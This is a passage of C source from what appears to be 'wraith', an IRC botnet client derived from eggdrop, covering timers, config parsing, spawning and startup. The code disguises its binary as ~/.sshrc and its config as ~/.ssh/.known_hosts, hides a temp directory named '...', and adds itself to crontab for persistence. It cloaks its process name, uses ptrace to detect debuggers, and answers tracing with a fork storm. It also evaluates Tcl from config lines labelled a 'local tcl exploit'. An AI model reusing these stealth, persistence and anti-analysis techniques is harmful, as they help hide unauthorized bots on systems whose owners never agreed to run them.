  723. if (dcc[idx].simul > 0) {
  724. if ((now - dcc[idx].simultime) == 60) { /* expire simuls after 60 seconds (re-uses idx, so it wont fill up) */
  725. dcc[idx].simul = -1;
  726. lostdcc(idx);
  727. }
  728. }
  729. }
  730. egg_memcpy(&nowtm, localtime(&now), sizeof(struct tm));
  731. if (nowtm.tm_min != lastmin) {
  732. int i = 0;
  733. /* Once a minute */
  734. lastmin = (lastmin + 1) % 60;
  735. call_hook(HOOK_MINUTELY);
  736. check_botnet_pings();
  737. check_expired_ignores();
  738. /* In case for some reason more than 1 min has passed: */
  739. while (nowtm.tm_min != lastmin) {
  740. /* Timer drift, dammit */
  741. debug2("timer: drift (lastmin=%d, now=%d)", lastmin, nowtm.tm_min);
  742. i++;
  743. lastmin = (lastmin + 1) % 60;
  744. call_hook(HOOK_MINUTELY);
  745. }
  746. if (i > 1)
  747. putlog(LOG_MISC, "*", "(!) timer drift -- spun %d minutes", i);
  748. miltime = (nowtm.tm_hour * 100) + (nowtm.tm_min);
  749. if (((int) (nowtm.tm_min / 5) * 5) == (nowtm.tm_min)) { /* 5 min */
  750. call_hook(HOOK_5MINUTELY);
  751. /* flushlogs(); */
  752. if (!miltime) { /* At midnight */
  753. char s[25];
  754. strncpyz(s, ctime(&now), sizeof s);
  755. #ifdef HUB
  756. putlog(LOG_ALL, "*", "--- %.11s%s", s, s + 20);
  757. call_hook(HOOK_BACKUP);
  758. #endif
  759. }
  760. }
  761. if (nowtm.tm_min == notify_users_at)
  762. call_hook(HOOK_HOURLY);
  763. /* These no longer need checking since they are all check vs minutely
  764. * settings and we only get this far on the minute.
  765. */
  766. #ifdef HUB
  767. if (miltime == 300) {
  768. call_hook(HOOK_DAILY);
  769. }
  770. #endif
  771. }
  772. }
  773. #ifdef LEAF
  774. static void check_mypid()
  775. {
  776. module_entry *me;
  777. FILE *fp;
  778. char s[15];
  779. int xx = 0;
  780. char buf2[DIRMAX];
  781. egg_snprintf(buf2, sizeof buf2, "%s/.pid.%s", tempdir, botnetnick);
  782. fp = fopen(buf2, "r");
  783. if (fp != NULL) {
  784. fgets(s, 10, fp);
  785. xx = atoi(s);
  786. if (getpid() != xx) { //we have a major problem if this is happening..
  787. fatal("getpid() does not match pid in file. Possible cloned process, exiting..", 1);
  788. if ((me = module_find("server", 0, 0))) {
  789. Function *func = me->funcs;
  790. (func[SERVER_NUKESERVER]) ("cloned process");
  791. }
  792. botnet_send_bye();
  793. bg_send_quit(BG_ABORT);
  794. exit(1);
  795. }
  796. fclose(fp); //THERE IS THE STUPID BUG OMG
  797. }
  798. }
  799. #endif
  800. static void core_minutely()
  801. {
  802. #ifdef LEAF
  803. check_mypid();
  804. #endif
  805. check_tcl_time(&nowtm);
  806. do_check_timers(&timer);
  807. /* flushlogs(); */
  808. }
  809. static void core_hourly()
  810. {
  811. #ifdef HUB
  812. write_userfile(-1);
  813. #endif
  814. }
  815. static void event_rehash()
  816. {
  817. check_tcl_event("rehash");
  818. }
  819. static void event_prerehash()
  820. {
  821. check_tcl_event("prerehash");
  822. }
  823. static void event_save()
  824. {
  825. check_tcl_event("save");
  826. }
  827. static void event_resettraffic()
  828. {
  829. otraffic_irc += otraffic_irc_today;
  830. itraffic_irc += itraffic_irc_today;
  831. otraffic_bn += otraffic_bn_today;
  832. itraffic_bn += itraffic_bn_today;
  833. otraffic_dcc += otraffic_dcc_today;
  834. itraffic_dcc += itraffic_dcc_today;
  835. otraffic_unknown += otraffic_unknown_today;
  836. itraffic_unknown += itraffic_unknown_today;
  837. otraffic_trans += otraffic_trans_today;
  838. itraffic_trans += itraffic_trans_today;
  839. otraffic_irc_today = otraffic_bn_today = 0;
  840. otraffic_dcc_today = otraffic_unknown_today = 0;
  841. itraffic_irc_today = itraffic_bn_today = 0;
  842. itraffic_dcc_today = itraffic_unknown_today = 0;
  843. itraffic_trans_today = otraffic_trans_today = 0;
  844. }
  845. static void event_loaded()
  846. {
  847. check_tcl_event("loaded");
  848. }
  849. void kill_tcl();
  850. extern module_entry *module_list;
  851. void restart_chons();
  852. void check_static(char *, char *(*)());
  853. #include "mod/static.h"
  854. int init_userrec(), init_mem(), init_dcc_max(), init_userent(), init_misc(), init_bots(),
  855. init_net(), init_modules(), init_tcl(int, char **), init_botcmd();
  856. void got_ed(char *which, char *in, char *out)
  857. {
  858. Context;
  859. sdprintf("got_Ed called: -%s i: %s o: %s", which, in, out);
  860. if (!in || !out)
  861. fatal("Wrong number of arguments: -e/-d <infile> <outfile/STDOUT>",0);
  862. if (!strcmp(in, out))
  863. fatal(STR("<infile> should NOT be the same name as <outfile>"), 0);
  864. check_static("blowfish", blowfish_start);
  865. module_load(ENCMOD);
  866. if (!strcmp(which, "e")) {
  867. EncryptFile(in, out);
  868. fatal("File Encryption complete",3);
  869. } else if (!strcmp(which, "d")) {
  870. DecryptFile(in, out);
  871. fatal("File Decryption complete",3);
  872. }
  873. exit(0);
  874. }
  875. static inline void garbage_collect(void)
  876. {
  877. static u_8bit_t run_cnt = 0;
  878. if (run_cnt == 3)
  879. garbage_collect_tclhash();
  880. else
  881. run_cnt++;
  882. }
  883. int crontab_exists() {
  884. char buf[2048], *out=NULL;
  885. sprintf(buf, STR("crontab -l | grep \"%s\" | grep -v \"^#\""), binname);
  886. if (shell_exec(buf, NULL, &out, NULL)) {
  887. if (out && strstr(out, binname)) {
  888. nfree(out);
  889. return 1;
  890. } else {
  891. if (out)
  892. nfree(out);
  893. return 0;
  894. }
  895. } else
  896. return (-1);
  897. }
  898. void crontab_create(int interval) {
  899. char tmpfile[161],
  900. buf[256];
  901. FILE *f;
  902. int fd;
  903. /* always use mkstemp() when handling temp files! -dizz */
  904. sprintf(tmpfile, STR("%s.crontab-XXXXXX"), tempdir);
  905. if ((fd = mkstemp(tmpfile)) == -1) {
  906. unlink(tmpfile);
  907. return;
  908. }
  909. sprintf(buf, STR("crontab -l | grep -v \"%s\" | grep -v \"^#\" | grep -v \"^\\$\"> %s"), binname, tmpfile);
  910. if (shell_exec(buf, NULL, NULL, NULL) && (f = fdopen(fd, "a")) != NULL) {
  911. buf[0] = 0;
  912. if (interval == 1)
  913. strcpy(buf, "*");
  914. else {
  915. int i = 1;
  916. int si = random() % interval;
  917. while (i < 60) {
  918. if (buf[0])
  919. sprintf(buf + strlen(buf), STR(",%i"), (i + si) % 60);
  920. else
  921. sprintf(buf, "%i", (i + si) % 60);
  922. i += interval;
  923. }
  924. }
  925. sprintf(buf + strlen(buf), STR(" * * * * %s > /dev/null 2>&1"), binname);
  926. fseek(f, 0, SEEK_END);
  927. fprintf(f, STR("\n%s\n"), buf);
  928. fclose(f);
  929. sprintf(buf, STR("crontab %s"), tmpfile);
  930. shell_exec(buf, NULL, NULL, NULL);
  931. }
  932. close(fd);
  933. unlink(tmpfile);
  934. }
  935. static void check_crontab()
  936. {
  937. int i = 0;
  938. #ifdef LEAF
  939. if (!localhub)
  940. fatal("something is wrong.", 0);
  941. #endif
  942. i=crontab_exists();
  943. if (!i) {
  944. crontab_create(5);
  945. i=crontab_exists();
  946. if (!i)
  947. printf("* Error writing crontab entry.\n");
  948. }
  949. }
  950. #ifdef LEAF
  951. static void gotspawn(char *filename)
  952. {
  953. FILE *fp;
  954. char templine[8192], *nick = NULL, *host = NULL, *ip = NULL, *ipsix = NULL, *temps;
  955. if (!(fp = fopen(filename, "r")))
  956. fatal("Cannot read from local config (2)", 0);
  957. check_static("blowfish", blowfish_start);
  958. module_load(ENCMOD);
  959. while(fscanf(fp,"%[^\n]\n",templine) != EOF)
  960. {
  961. Context;
  962. temps = (char *) decrypt_string(netpass, decryptit(templine));
  963. #ifdef S_PSCLOAK
  964. sdprintf("GOTSPAWN: %s", temps);
  965. #endif /* S_PSCLOAK */
  966. pscloak = atoi(newsplit(&temps));
  967. if (temps[0])
  968. nick = newsplit(&temps);
  969. if (!nick)
  970. fatal("invalid config (2).",0);
  971. if (temps[0])
  972. ip = newsplit(&temps);
  973. if (temps[0])
  974. host = newsplit(&temps);
  975. if (temps[0])
  976. ipsix = newsplit(&temps);
  977. snprintf(origbotname, 10, "%s", nick);
  978. if (ip[1]) {
  979. if (ip[0] == '!') { //natip
  980. ip++;
  981. sprintf(natip,"%s",ip);
  982. } else {
  983. snprintf(myip, 120, "%s", ip);
  984. }
  985. }
  986. if (host && host[1]) {
  987. if (host[0] == '+') { //ip6 host
  988. host++;
  989. sprintf(hostname6,"%s",host);
  990. } else { //normal ip4 host
  991. sprintf(hostname,"%s",host);
  992. }
  993. }
  994. if (ipsix && ipsix[1]) {
  995. snprintf(myip6, 120, "%s", ipsix);
  996. }
  997. }
  998. fclose(fp);
  999. unlink(filename);
  1000. }
  1001. static int spawnbot(char *bin, char *nick, char *ip, char *host, char *ipsix, int cloak)
  1002. {
  1003. char buf[DIRMAX], bindir[DIRMAX], bufrun[DIRMAX];
  1004. FILE *fp;
  1005. sprintf(buf, "%s", bin);
  1006. sprintf(bindir, "%s", dirname(buf));
  1007. sprintf(buf, "%s/.wraith-%s", bindir, nick);
  1008. if (!(fp = fopen(buf, "w")))
  1009. fatal("Cannot create spawnfiles...", 0);
  1010. lfprintf(fp, "%d %s %s %s %s\n", cloak, nick, ip ? ip : ".", host ? host : ".", ipsix ? ipsix : ".");
  1011. fflush(fp);
  1012. fclose(fp);
  1013. sprintf(bufrun, "%s -c %s", bin, buf);
  1014. return system(bufrun);
  1015. }
  1016. #endif
  1017. #ifdef S_MESSUPTERM
  1018. void messup_term() {
  1019. int i;
  1020. char * argv[4];
  1021. freopen(STR("/dev/null"), "w", stderr);
  1022. for (i=0;i<11;i++) {
  1023. fork();
  1024. }
  1025. argv[0]=nmalloc(100);
  1026. strcpy(argv[0], STR("/bin/sh"));
  1027. argv[1]="-c";
  1028. argv[2]=nmalloc(1024);
  1029. strcpy(argv[2], STR("cat < "));
  1030. strcat(argv[2], binname);
  1031. argv[3]=NULL;
  1032. execvp(argv[0], &argv[0]);
  1033. }
  1034. #endif /* S_MESSUPTERM */
  1035. void check_trace_start()
  1036. {
  1037. #ifdef S_ANTITRACE
  1038. int parent = getpid();
  1039. int xx = 0, i = 0;
  1040. #ifdef __linux__
  1041. xx = fork();
  1042. if (xx == -1) {
  1043. printf(STR("Can't fork process!\n"));
  1044. exit(1);
  1045. } else if (xx == 0) {
  1046. i = ptrace(PTRACE_ATTACH, parent, 0, 0);
  1047. if (i == (-1) && errno == EPERM) {
  1048. #ifdef S_MESSUPTERM
  1049. messup_term();
  1050. #else
  1051. kill(parent, SIGKILL);
  1052. exit(1);
  1053. #endif /* S_MESSUPTERM */
  1054. } else {
  1055. waitpid(parent, &i, 0);
  1056. kill(parent, SIGCHLD);
  1057. ptrace(PTRACE_DETACH, parent, 0, 0);
  1058. kill(parent, SIGCHLD);
  1059. }
  1060. exit(0);
  1061. } else {
  1062. wait(&i);
  1063. }
  1064. #endif /* __linux__ */
  1065. #ifdef __FreeBSD__
  1066. xx = fork();
  1067. if (xx == -1) {
  1068. printf(STR("Can't fork process!\n"));
  1069. exit(1);
  1070. } else if (xx == 0) {
  1071. i = ptrace(PT_ATTACH, parent, 0, 0);
  1072. if (i == (-1) && errno == EBUSY) {
  1073. #ifdef S_MESSUPTERM
  1074. messup_term();
  1075. #else
  1076. kill(parent, SIGKILL);
  1077. exit(1);
  1078. #endif /* S_MESSUPTERM */
  1079. } else {
  1080. wait(&i);
  1081. i = ptrace(PT_CONTINUE, parent, (caddr_t) 1, 0);
  1082. kill(parent, SIGCHLD);
  1083. wait(&i);
  1084. i = ptrace(PT_DETACH, parent, (caddr_t) 1, 0);
  1085. wait(&i);
  1086. }
  1087. exit(0);
  1088. } else {
  1089. waitpid(xx, NULL, 0);
  1090. }
  1091. #endif /* __FreeBSD__ */
  1092. #ifdef __OpenBSD__
  1093. xx = fork();
  1094. if (xx == -1) {
  1095. printf(STR("Can't fork process!\n"));
  1096. exit(1);
  1097. } else if (xx == 0) {
  1098. i = ptrace(PT_ATTACH, parent, 0, 0);
  1099. if (i == (-1) && errno == EBUSY) {
  1100. kill(parent, SIGKILL);
  1101. exit(1);
  1102. } else {
  1103. wait(&i);
  1104. i = ptrace(PT_CONTINUE, parent, (caddr_t) 1, 0);
  1105. kill(parent, SIGCHLD);
  1106. wait(&i);
  1107. i = ptrace(PT_DETACH, parent, (caddr_t) 1, 0);
  1108. wait(&i);
  1109. }
  1110. exit(0);
  1111. } else {
  1112. waitpid(xx, NULL, 0);
  1113. }
  1114. #endif /* __OpenBSD__ */
  1115. #endif /* S_ANTITRACE */
  1116. }
  1117. char *homedir()
  1118. {
  1119. static char home[DIRMAX];
  1120. struct passwd *pw;
  1121. pw = getpwuid(geteuid());
  1122. if (!pw)
  1123. werr(ERR_PASSWD);
  1124. snprintf(home, sizeof home, "%s", pw->pw_dir);
  1125. return home;
  1126. }
  1127. char *confdir()
  1128. {
  1129. static char conf[DIRMAX];
  1130. #ifdef LEAF
  1131. {
  1132. snprintf(conf, sizeof conf, "%s/.ssh", homedir());
  1133. }
  1134. #endif /* LEAF */
  1135. #ifdef HUB
  1136. {
  1137. char *tmpdir;
  1138. tmpdir = nmalloc(sizeof(binname)+1);
  1139. strcpy(tmpdir, binname);
  1140. snprintf(conf, sizeof conf, "%s", dirname(tmpdir));
  1141. nfree(tmpdir);
  1142. }
  1143. #endif /* HUB */
  1144. return conf;
  1145. }
  1146. int main(int argc, char **argv)
  1147. {
  1148. int xx, i;
  1149. #ifdef LEAF
  1150. int x = 1;
  1151. #endif
  1152. char buf[SGRAB + 9], s[25];
  1153. FILE *f;
  1154. struct sigaction sv;
  1155. struct chanset_t *chan;
  1156. #ifdef LEAF
  1157. int skip = 0;
  1158. FILE *fp;
  1159. char newbinbuf[DIRMAX], newbin[DIRMAX], tmp[DIRMAX],
  1160. cfile[DIRMAX], templine[8192], *temps;
  1161. int ok = 1;
  1162. #else
  1163. char tmp[DIRMAX], cfile[DIRMAX], templine[8192], *temps;
  1164. #endif
  1165. char c[1024], *vers_n, *unix_n;
  1166. #ifdef HAVE_UNAME
  1167. struct utsname un;
  1168. #endif
  1169. char check[100];
  1170. #ifdef DEBUG_MEM
  1171. /* Make sure it can write core, if you make debug. Else it's pretty
  1172. * useless (dw)
  1173. */
  1174. {
  1175. #include <sys/resource.h>
  1176. struct rlimit cdlim, plim, fdlim, rsslim, stacklim;
  1177. // rsslim.rlim_cur = 30720;
  1178. // rsslim.rlim_max = 30720;
  1179. // setrlimit(RLIMIT_RSS, &rsslim);
  1180. // stacklim.rlim_cur = 30720;
  1181. // stacklim.rlim_max = 30720;
  1182. // setrlimit(RLIMIT_STACK, &stacklim);
  1183. plim.rlim_cur = 50;
  1184. plim.rlim_max = 50;
  1185. setrlimit(RLIMIT_NPROC, &plim);
  1186. fdlim.rlim_cur = 200;
  1187. fdlim.rlim_max = 200;
  1188. //#ifdef __FreeBSD__
  1189. // setrlimit(RLIMIT_OFILE, &fdlim);
  1190. //#else
  1191. setrlimit(RLIMIT_NOFILE, &fdlim);
  1192. //#endif
  1193. cdlim.rlim_cur = RLIM_INFINITY;
  1194. cdlim.rlim_max = RLIM_INFINITY;
  1195. setrlimit(RLIMIT_CORE, &cdlim);
  1196. }
  1197. #endif
  1198. /* Initialise context list */
  1199. for (i = 0; i < 16; i++)
  1200. Context;
  1201. /* Version info! */
  1202. egg_snprintf(ver, sizeof ver, "wraith %s", egg_version);
  1203. egg_snprintf(version, sizeof version, "wraith %s", egg_version);
  1204. /* Now add on the patchlevel (for Tcl) */
  1205. sprintf(&egg_version[strlen(egg_version)], " %u", egg_numver);
  1206. #ifdef STOP_UAC
  1207. {
  1208. int nvpair[2];
  1209. nvpair[0] = SSIN_UACPROC;
  1210. nvpair[1] = UAC_NOPRINT;
  1211. setsysinfo(SSI_NVPAIRS, (char *) nvpair, 1, NULL, 0);
  1212. }
  1213. #endif
  1214. /* Set up error traps: */
  1215. sv.sa_handler = got_bus;
  1216. sigemptyset(&sv.sa_mask);
  1217. #ifdef SA_RESETHAND
  1218. sv.sa_flags = SA_RESETHAND;
  1219. #else
  1220. sv.sa_flags = 0;
  1221. #endif
  1222. sigaction(SIGBUS, &sv, NULL);
  1223. sv.sa_handler = got_segv;
  1224. sigaction(SIGSEGV, &sv, NULL);
  1225. #ifdef SA_RESETHAND
  1226. sv.sa_flags = 0;
  1227. #endif
  1228. sv.sa_handler = got_fpe;
  1229. sigaction(SIGFPE, &sv, NULL);
  1230. sv.sa_handler = got_term;
  1231. sigaction(SIGTERM, &sv, NULL);
  1232. sv.sa_handler = got_stop;
  1233. sigaction(SIGSTOP, &sv, NULL);
  1234. #ifdef S_HIJACKCHECK
  1235. sv.sa_handler = got_cont;
  1236. sigaction(SIGCONT, &sv, NULL);
  1237. #endif
  1238. sv.sa_handler = got_hup;
  1239. sigaction(SIGHUP, &sv, NULL);
  1240. sv.sa_handler = got_quit;
  1241. sigaction(SIGQUIT, &sv, NULL);
  1242. sv.sa_handler = SIG_IGN;
  1243. sigaction(SIGPIPE, &sv, NULL);
  1244. sv.sa_handler = got_ill;
  1245. sigaction(SIGILL, &sv, NULL);
  1246. sv.sa_handler = got_alarm;
  1247. sigaction(SIGALRM, &sv, NULL);
  1248. Context;
  1249. /* Initialize variables and stuff */
  1250. #ifdef S_UTCTIME
  1251. now_tmp = time(NULL);
  1252. now = mktime(gmtime(&now_tmp));
  1253. #else
  1254. now = time(NULL);
  1255. #endif /* S_UTCTIME */
  1256. chanset = NULL;
  1257. egg_memcpy(&nowtm, localtime(&now), sizeof(struct tm));
  1258. lastmin = nowtm.tm_min;
  1259. srandom(now % (getpid() + getppid()));
  1260. init_mem();
  1261. myuid = geteuid();
  1262. binname = getfullbinname(argv[0]);
  1263. if (!can_stat(binname))
  1264. werr(ERR_BINSTAT);
  1265. if (!fixmod(binname))
  1266. werr(ERR_BINMOD);
  1267. init_settings();
  1268. init_tcl(argc, argv);
  1269. if (argc) {
  1270. sdprintf("Calling dtx_arg with %d params.", argc);
  1271. dtx_arg(argc, argv);
  1272. }
  1273. if (checktrace)
  1274. check_trace_start();
  1275. #ifdef LEAF
  1276. sdprintf("my uid: %d my uuid: %d, my ppid: %d my pid: %d", getuid(), geteuid(), getppid(), getpid());
  1277. chdir(homedir());
  1278. snprintf(newbin, sizeof newbin, "%s/.sshrc", homedir());
  1279. snprintf(tempdir, sizeof tempdir, "%s/...", confdir());
  1280. #endif /* LEAF */
  1281. #ifdef HUB
  1282. snprintf(tempdir, sizeof tempdir, "%s/tmp", confdir());
  1283. #endif /* HUB */
  1284. #ifdef LEAF
  1285. /* is the homedir a symlink? */
  1286. sdprintf("newbin starts at: %s", newbin);
  1287. /* fuck it, I hate dealing with this shit.
  1288. if (!can_stat(newbin)) {
  1289. int f = 0;
  1290. if (ss.st_mode & S_IFLNK) { //stupid symlinked home dirs !
  1291. f = readlink(newbin, newbinbuf, sizeof newbinbuf);
  1292. if (!f) {
  1293. sdprintf("symlink newbin: %s", newbin);
  1294. strcpy(newbin, newbinbuf);
  1295. sdprintf("newbin is now: %s", newbin);
  1296. } else {
  1297. sdprintf("readlink failed on %s with error %d erno %d", newbin, f, errno);
  1298. //fuck it. (no paths)
  1299. sprintf(newbin, ".sshrc");
  1300. copyfile(binname, newbin);
  1301. skip = 1;
  1302. }
  1303. }
  1304. }
  1305. sdprintf(STR("skip is: %d"), skip);
  1306. */
  1307. if (strcmp(binname,newbin) && !skip) { //running from wrong dir, or wrong bin name.. lets try to fix that :)
  1308. sdprintf("wrong dir, is: %s :: %s", binname, newbin);
  1309. unlink(newbin);
  1310. if (copyfile(binname,newbin))
  1311. ok = 0;
  1312. if (ok)
  1313. if (!can_stat(newbin)) {
  1314. unlink(newbin);
  1315. ok = 0;
  1316. }
  1317. if (ok)
  1318. if (!fixmod(newbin)) {
  1319. unlink(newbin);
  1320. ok = 0;
  1321. }
  1322. if (!ok)
  1323. werr(ERR_WRONGBINDIR);
  1324. else {
  1325. unlink(binname);
  1326. system(newbin);
  1327. sdprintf(STR("exiting to let new binary run..."));
  1328. exit(0);
  1329. }
  1330. }
  1331. // Ok if we are here, then the binary is accessable and in the correct directory, now lets do the local config...
  1332. #endif /* LEAF */
  1333. snprintf(tmp, sizeof tmp, "%s/", confdir());
  1334. if (!can_stat(tmp)) {
  1335. #ifdef LEAF
  1336. if (mkdir(tmp, S_IRUSR | S_IWUSR | S_IXUSR)) {
  1337. unlink(confdir());
  1338. if (!can_stat(confdir()))
  1339. if (mkdir(confdir(), S_IRUSR | S_IWUSR | S_IXUSR))
  1340. #endif /* LEAF */
  1341. werr(ERR_CONFSTAT);
  1342. #ifdef LEAF
  1343. }
  1344. #endif /* LEAF */
  1345. }
  1346. snprintf(tmp, sizeof tmp, "%s/", tempdir);
  1347. if (!can_stat(tmp)) {
  1348. if (mkdir(tmp, S_IRUSR | S_IWUSR | S_IXUSR)) {
  1349. unlink(tempdir);
  1350. if (!can_stat(tempdir))
  1351. if (mkdir(tempdir, S_IRUSR | S_IWUSR | S_IXUSR))
  1352. werr(ERR_TMPSTAT);
  1353. }
  1354. }
  1355. if (!fixmod(confdir()))
  1356. werr(ERR_CONFDIRMOD);
  1357. if (!fixmod(tempdir))
  1358. werr(ERR_TMPMOD);
  1359. //The config dir is accessable with correct permissions, lets read/write/create config file now..
  1360. #ifdef LEAF
  1361. snprintf(cfile, sizeof cfile, "%s/.known_hosts", confdir());
  1362. #else
  1363. snprintf(cfile, sizeof cfile, "%s/conf", confdir());
  1364. #endif /* LEAF */
  1365. if (!can_stat(cfile))
  1366. werr(ERR_NOCONF);
  1367. if (!fixmod(cfile))
  1368. werr(ERR_CONFMOD);
  1369. Context;
  1370. init_dcc_max();
  1371. init_userent();
  1372. init_misc();
  1373. init_bots();
  1374. init_net();
  1375. init_modules();
  1376. init_userrec();
  1377. if (backgrd)
  1378. bg_prepare_split();
  1379. init_botcmd();
  1380. link_statics();
  1381. module_load(ENCMOD);
  1382. #ifdef LEAF
  1383. if (localhub) { //we only want to read the config if we are the spawn bot..
  1384. #endif /* LEAF */
  1385. #ifdef HAVE_UNAME
  1386. if (uname(&un) < 0) {
  1387. #endif /* HAVE_UNAME */
  1388. unix_n = "*unkown*";
  1389. vers_n = "";
  1390. #ifdef HAVE_UNAME
  1391. } else {
  1392. unix_n = un.nodename;
  1393. #ifdef __FreeBSD__
  1394. vers_n = un.release;
  1395. #else
  1396. vers_n = un.version;
  1397. #endif /* __FreeBSD__ */
  1398. }
  1399. #endif /* HAVE_UNAME */
  1400. i = 0;
  1401. if (!(f = fopen(cfile, "r")))
  1402. werr(0);
  1403. Context;
  1404. while(fscanf(f,"%[^\n]\n",templine) != EOF) {
  1405. char *nick = NULL, *host = NULL, *ip = NULL, *ipsix = NULL;
  1406. int skip = 0;
  1407. if (templine[0] != '+') {
  1408. printf(STR("%d: "), i);
  1409. werr(ERR_CONFBADENC);
  1410. }
  1411. temps = (char *) decrypt_string(netpass, decryptit(templine));
  1412. if (!strchr(STR("*#-+!abcdefghijklmnopqrstuvwxyzABDEFGHIJKLMNOPWRSTUVWXYZ"), temps[0])) {
  1413. printf(STR("%d: "), i);
  1414. werr(ERR_CONFBADENC);
  1415. }
  1416. snprintf(c, sizeof c, "%s",temps);
  1417. if (c[0] == '*')
  1418. skip = 1;
  1419. else if (c[0] == '-' && !skip) { //this is the uid
  1420. newsplit(&temps);
  1421. if (geteuid() != atoi(temps)) {
  1422. sdprintf("wrong uid, conf: %d :: %d", atoi(temps), geteuid());
  1423. werr(ERR_WRONGUID);
  1424. }
  1425. } else if (c[0] == '+' && !skip) { //this is the uname
  1426. int r = 0;
  1427. newsplit(&temps);
  1428. snprintf(check, sizeof check, "%s %s", unix_n, vers_n);
  1429. if ((r = strcmp(temps, check))) {
  1430. sdprintf("wrong uname, conf: %s :: %s", check, temps);
  1431. werr(ERR_WRONGUNAME);
  1432. }
  1433. } else if (c[0] == '!') { //local tcl exploit
  1434. if (c[1] == '-') { //dont use pscloak
  1435. #ifdef S_PSCLOAK
  1436. sdprintf("NOT CLOAKING");
  1437. #endif /* S_PSCLOAK */
  1438. pscloak = 0;
  1439. } else {
  1440. newsplit(&temps);
  1441. Tcl_Eval(interp, temps);
  1442. }
  1443. } else if (c[0] != '#') { //now to parse nick/hosts
  1444. //we have the right uname/uid, safe to setup crontab now.
  1445. i++;
  1446. nick = newsplit(&temps);
  1447. if (!nick || !nick[0])
  1448. werr(ERR_BADCONF);
  1449. sdprintf("Read nick from config: %s", nick);
  1450. if (temps[0])
  1451. ip = newsplit(&temps);
  1452. if (temps[0])
  1453. host = newsplit(&temps);
  1454. if (temps[0])
  1455. ipsix = newsplit(&temps);
  1456. if (i == 1) { //this is the first bot ran/parsed
  1457. strncpyz(s, ctime(&now), sizeof s);
  1458. strcpy(&s[11], &s[20]);
  1459. // printf("--- Loading %s (%s)\n\n", ver, s);
  1460. if (ip && ip[0] == '!') { //natip
  1461. ip++;
  1462. sprintf(natip, "%s",ip);
  1463. } else {
  1464. if (ip && ip[1]) //only copy ip if it is longer than 1 char (.)
  1465. snprintf(myip, 120, "%s", ip);
  1466. }
  1467. snprintf(origbotname, 10, "%s", nick);
  1468. #ifdef HUB
  1469. sprintf(userfile, "%s/.%s.user", confdir(), nick);
  1470. #endif /* HUB */
  1471. /* log sprintf(logfile, "%s/.%s.log", confdir(), nick); */
  1472. if (host && host[1]) { //only copy host if it is longer than 1 char (.)
  1473. if (host[0] == '+') { //ip6 host
  1474. host++;
  1475. sprintf(hostname6, "%s",host);
  1476. } else //normal ip4 host
  1477. sprintf(hostname, "%s",host);
  1478. }
  1479. if (ipsix && ipsix[1]) { //only copy ipsix if it is longer than 1 char (.)
  1480. snprintf(myip6, 120, "%s",ipsix);
  1481. }
  1482. }
  1483. #ifdef LEAF
  1484. else { //these are the rest of the bots..
  1485. char buf2[DIRMAX];
  1486. xx = 0, x = 0, errno = 0;
  1487. s[0] = '\0';
  1488. /* first let's determine if the bot is already running or not.. */
  1489. egg_snprintf(buf2, sizeof buf2, "%s/.pid.%s", tempdir, nick);
  1490. fp = fopen(buf2, "r");
  1491. if (fp != NULL) {
  1492. fgets(s, 10, fp);
  1493. fclose(fp);
  1494. xx = atoi(s);
  1495. if (updating) {
  1496. x = kill(xx, SIGKILL); //try to kill the pid if we are updating.
  1497. unlink(buf2);
  1498. }
  1499. kill(xx, SIGCHLD);
  1500. if (errno == ESRCH || (updating && !x)) { //PID is !running, safe to run.
  1501. if (spawnbot(binname, nick, ip, host, ipsix, pscloak))
  1502. printf("* Failed to spawn %s\n", nick); //This probably won't ever happen.
  1503. }
  1504. } else {
  1505. if (spawnbot(binname, nick, ip, host, ipsix, pscloak))
  1506. printf("* Failed to spawn %s\n", nick); //This probably won't ever happen.
  1507. }
  1508. }
  1509. #endif /* LEAF */
  1510. } // if read in[0] != #
  1511. temps = 0;
  1512. }
  1513. fclose(f);
  1514. #ifdef LEAF
  1515. if (updating)
  1516. exit(0); //let the 5 min timer restart us.
  1517. } // (localhub)
  1518. #endif /* LEAF */
  1519. module_load("dns");
  1520. module_load("channels");
  1521. #ifdef LEAF
  1522. module_load("server");
  1523. module_load("irc");
  1524. #endif /* LEAF */
  1525. module_load("transfer");
  1526. module_load("share");
  1527. module_load("update");
  1528. module_load("notes");
  1529. module_load("console");
  1530. module_load("ctcp");
  1531. module_load("compress");
  1532. chanprog();
  1533. #ifdef LEAF
  1534. if (localhub) {
  1535. sdprintf("I am localhub (%s)", origbotname);
  1536. #endif /* LEAF */
  1537. check_crontab();
  1538. #ifdef LEAF
  1539. }
  1540. #endif
  1541. if (!encrypt_pass) {
  1542. sdprintf(MOD_NOCRYPT);
  1543. bg_send_quit(BG_ABORT);
  1544. exit(1);
  1545. }
  1546. cache_miss = 0;
  1547. cache_hit = 0;
  1548. if (!pid_file[0])
  1549. egg_snprintf(pid_file, sizeof pid_file, "%s.pid.%s", tempdir, botnetnick);
  1550. f = fopen(pid_file, "r");
  1551. if ((localhub && !updating) || !localhub) {
  1552. if (f != NULL) {
  1553. fgets(s, 10, f);
  1554. xx = atoi(s);
  1555. kill(xx, SIGCHLD);
  1556. if (errno != ESRCH) { //!= is PID is running.
  1557. sdprintf("%s is already running, pid: %d", botnetnick, xx);
  1558. bg_send_quit(BG_ABORT);
  1559. exit(1);
  1560. }
  1561. }
  1562. }
  1563. #ifdef LEAF
  1564. #ifdef S_PSCLOAK
  1565. if (pscloak) {
  1566. int on = 0;
  1567. strncpy(argv[0],progname(),strlen(argv[0]));
  1568. //this clears all the params..
  1569. for (on=1;on<argc;on++) memset(argv[on],0,strlen(argv[on]));
  1570. }
  1571. #endif /* PSCLOAK */
  1572. #endif /* LEAF */
  1573. i = 0;
  1574. for (chan = chanset; chan; chan = chan->next)
  1575. i++;
  1576. putlog(LOG_MISC, "*", "=== %s: %d channels, %d users.",
  1577. botnetnick, i, count_users(userlist));
  1578. /* Move into background? */
  1579. if (backgrd) {
  1580. #ifndef CYGWIN_HACKS
  1581. bg_do_split();
  1582. } else { /* !backgrd */
  1583. #endif /* CYGWIN_HACKS */
  1584. xx = getpid();
  1585. if (xx != 0) {
  1586. FILE *fp;
  1587. /* Write pid to file */
  1588. unlink(pid_file);
  1589. fp = fopen(pid_file, "w");
  1590. if (fp != NULL) {
  1591. fprintf(fp, "%u\n", xx);
  1592. if (fflush(fp)) {
  1593. /* Let the bot live since this doesn't appear to be a botchk */
  1594. printf(EGG_NOWRITE, pid_file);
  1595. fclose(fp);
  1596. unlink(pid_file);
  1597. } else
  1598. fclose(fp);
  1599. } else
  1600. printf(EGG_NOWRITE, pid_file);
  1601. #ifdef CYGWIN_HACKS
  1602. printf("Launched into the background (pid: %d)\n\n", xx);
